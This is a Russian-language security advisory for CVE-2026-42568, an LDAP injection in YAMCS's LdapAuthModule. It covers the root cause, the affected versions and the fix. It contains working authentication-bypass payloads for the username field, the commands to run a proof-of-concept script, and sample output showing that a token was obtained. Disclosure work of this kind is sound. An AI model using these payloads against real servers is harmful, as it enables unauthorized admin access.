
Уязвимость LDAP-инъекции существует в org.yamcs.security.LdapAuthModule. Параметр username вставляется непосредственно в поисковые фильтры LDAP без экранирования согласно RFC 4515, что позволяет обойти аутентификацию.
| Поле | Значение |
|---|
| CVE | CVE-2026-42568 |
| Серьёзность | СРЕДНЯЯ |
| CWE | CWE-90: Некорректная нейтрализация специальных элементов в LDAP-запросе |
| Затронутые версии | yamcs-core < 5.12.7 (с настроенной LDAP-аутентификацией) |
| Исправлено в | yamcs-core 5.12.7 |
| Консультация | GHSA-cqh3-jg8p-336j |
Корневая причина (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
При типичном userFilter = (uid={0}) вредоносное имя пользователя нарушает структуру фильтра:
Ввод: )(uid=))(|(uid=* Фильтр: (uid=)(uid=))(|(uid=*) Результат: Универсальное совпадение — аутентификация обойдена
pip install requests
python3 poc.py http://localhost:8090
Ожидаемый вывод на уязвимом экземпляре (с настроенным LDAP):
[1] Универсальный обход (любая учётная запись)
Имя пользователя: *)(uid=*))(|(uid=*
Пароль: anything
Результат: HTTP 200
[!!!] АУТЕНТИФИКАЦИЯ ОБОЙДЕНА
[!!!] Получен токен: eyJhbGciOiJSUzI1NiJ9...
Примечание: Эта уязвимость затрагивает только экземпляры YAMCS с настроенным
LdapAuthModule. Установки по умолчанию, использующие встроенную аутентификацию, не затронуты.
Неаутентифицированный злоумышленник, имеющий доступ к серверу YAMCS, может полностью обойти аутентификацию при настроенном LDAP, получая доступ в качестве любого пользователя, включая администраторов.
Обновитесь до yamcs-core >= 5.12.7.
Исправление применяет экранирование по RFC 4515 к имени пользователя перед построением LDAP-фильтра.
| Дата | Событие |
|---|---|
| 2026-05 | Уязвимость сообщена |
| 2026-05-26 | Исправление выпущено в yamcs-core 5.12.7 |
| 2026-05-26 | Опубликовано публичное уведомление |
Daniel Miranda Barcelona (Excal1bur)